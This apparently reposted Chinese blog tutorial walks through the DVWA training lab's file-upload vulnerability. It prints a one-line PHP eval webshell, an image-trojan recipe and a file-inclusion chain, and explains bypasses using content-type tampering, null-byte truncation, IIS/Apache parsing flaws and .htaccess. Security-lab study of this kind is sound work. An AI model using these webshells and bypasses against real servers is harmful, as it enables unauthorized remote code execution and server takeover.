DVWA--文件上传漏洞
文件上傳漏洞定義
文件上傳漏洞通常是由于上傳文件的類型、內容沒有進行嚴格的過濾檢查,使得可以通過上傳webshell獲取服務器權限,因此文件上傳漏洞帶來的危害通常是毀滅性的。
文件上傳漏洞的前提
實現過程
LOW級別
源碼
basename(path,suffix):返回path中的文件名部分,如果可選參數suffix為空,則返回的文件名中包含文件后綴名,反之不包含文件后綴名。
由源碼可知暫時并沒有進行任何過濾;
(1)創建1.php并上傳
1.php:<?php phpinfo();?>
可發現上傳成功,服務器未做任何限制,此時再次訪問上傳路徑
http://192.168.254.128/dvwa/hackable/uploads/1.php#
上傳并執行php文件,說明存在文件上傳漏洞
(2)上傳一句話木馬
b.php:<?php @eval($_POST[cmd]);?>
http://192.168.254.128/dvwa/hackable/uploads/b.php#
頁面沒有報錯說明上傳成功
打開中國菜刀,并且寫入路徑
路徑:http://192.168.254.128/dvwa/hackable/uploads/b.php
拿到反彈shell
medium級別
源碼
可見在源碼中對上傳文件的大小和類型進行了限制;
解決辦法
1、burpsuit抓包修改
實驗過程
對比上傳成功的數據包和上傳失敗的數據包
上傳成功的數據包
上傳失敗的數據包
對上傳失敗的數據包進行修改,便可上傳成功
后續在菜刀里面運行便可;
[也可先上傳b.jpeg,在抓包中再修改文件名]
2、%00截斷繞過
實驗過程
%00截斷繞過,此時,服務器會將low.php%00.png認為其文件名為low.php,解析為PHP文件(僅限于PHP版本小于5.3.4的版本)
high級別
源碼
substr():返回字符串的一部分;
$uploaded_ext:等于文件的后綴名;
getimagesize(string filename):函數會通過讀取文件頭,返回圖片的長、寬等信息,如果沒有相關的圖片文件頭,函數會報錯。
getimagesize():函數限制了上傳文件的文件頭(限制了文件的大小及圖片尺寸)。
High安全等級采用白名單過濾,只允許上傳的文件后綴名為jpg、jpeg、png且文件大小小于100000字節。
繞過方法
制作圖片木馬,文件上傳與文件包含結合
copy 1.jpg/b + a.php/a 1a.jpeg
//1.jpg :任一圖片
//b:二進制
// a.php :一句話木馬
//a:ASCII 生成1a.jpeg
a.php :一句話木馬
生成圖片馬,上傳文件
使用文件包含執行圖片馬(此時kali開始監聽)
http://192.168.254.128/dvwa/vulnerabilities/fi/?page=file:///C:/phpStudy/PHPTutorial/WWW/dvwa/hackable/uploads/1a.jpeg
查看監聽結果(腳本已經執行,但是未連接成功是因為腳本內容問題,與操作無關)
impossible級別
(1)上傳文件進行了重命名(為md5值,導致%00截斷無法繞過過濾規則);
(2)加入Anti-CSRF token防護CSRF攻擊;
(3)對文件的內容做了嚴格的檢查,導致攻擊者無法上傳含有惡意腳本的文件;
文件上傳校驗
客戶端校驗:
javascript校驗(一般只校驗后綴名)
服務端校驗:
(1) 文件頭content—type字段校驗(image/gif)
(2) 文件內容頭校驗(GIF89a)
(3) 后綴名黑名單校驗
(4) 后綴名白名單校驗
(5) 自定義正則校驗
(6) WAF(網絡入侵級防御系統)設備校驗
文件上傳繞過手段
1、客戶端繞過
可以利用burp抓包改包,先上傳一個gif類型的木馬,然后通過burp將其改為asp/php/jsp后綴名即可;
2、服務端繞過
(1) 文件類型繞過:burp抓包,將content—type字段改為image/gif
(2) 文件頭繞過:在木馬內容基礎上再加了一些文件信息,eg:GIF98a<php phpinfo();?>
(3) 文件后綴名繞過:
前提黑名單校驗(一般有個專門的blacklist文件,里面包含常見的危險腳本文件),
繞過方法:
找黑名單擴展名的漏網之魚,eg:asa和cer之類
可能存在大小寫繞過漏洞,eg:aSp和pHp之類
能被解析的文件擴展名列表:jsp jspx jspf asp asa cer aspx php pht php3 php4
3、 配合文件包含漏洞
前提:校驗規則只校驗當文件后綴名為asp/php/jsp的文件內容是否為木馬;
繞過方式:(以php為例)
(1) 先上傳一個內容為木馬的txt后綴文件,因為后綴名的關系沒有檢驗內容;
(2) 然后再上傳一個.php文件,內容為<?php include(“上傳的txt文件路徑”);?>
(3) 此時,這個php文件就回去引用txt文件的內容,從而繞過校驗;
4、 配合服務器解析漏洞
IIS解析漏洞
使用IIS5.x-6.x版本的服務器,大多為2003server,網站比較古老,開發語句一般為asp;該解析漏洞也只能解析asp文件;
目錄解析:www.xxx.com/xx.asp/xx.jpg
原理:服務器會默認把.asp,.asa目錄下的文件都解析成asp文件
文件解析:www.xxx.com/xx.asp;.jpg
原理:服務器會默認不解析;后面的內容;
解析文件類型:
IIS6.0默認的可執行文件(asp、/test.asa,/test.cer,/test.cdx)
Apache解析漏洞
原理:apache解析文件的規則是從左向右開始判斷解析,如果后綴名為不可識別文件解析,就再往左判斷;
Eg:www.xxx.com/test.php.owf.rar
由于rar,owf都不可識別解析,所以解析成php
其余配置問題導致的漏洞:
conf:
AddHandlerphp5-script.php 此時只要文件名包含.php就會以php來執行;
AddTypeapplication/x-httpd-php.jpg 即使擴展名是jpg,一樣能以php方式執行;
5、 配合操作系統文件命令規則
上傳不符合windows文件命名規則的文件名,會被windows系統自動去掉不符合規則符號后面的內容;
eg:(test.asp,test.asp(空格),test.php:1.jpg)
6、 CMS、編輯器漏洞
(1) CMS漏洞:可針對不同CMS存在的上傳漏洞進行繞過;
(2) 編輯器漏洞:(eg:FCK、ewebeditor) 可針對編輯器的漏洞進行繞過;
7、 配合其他規則
(1)0x00截斷:基于一個組合邏輯漏洞造成的,通常存在于構建上傳文件路徑的時候,路徑/upload/1.php(0x00),文件名1.jpg,結合/upload/1.php(0x00)/1.jpg
(2).htaccess(上傳當前目錄的該文件)
AddTtye aaplication/x-http-php.jpg(上傳的jpg均以php執行)
嗯嗯~~就這么多了
總結
以上是生活随笔為你收集整理的DVWA--文件上传漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: DVWA---文件包含
- 下一篇: DVWA--SQL注入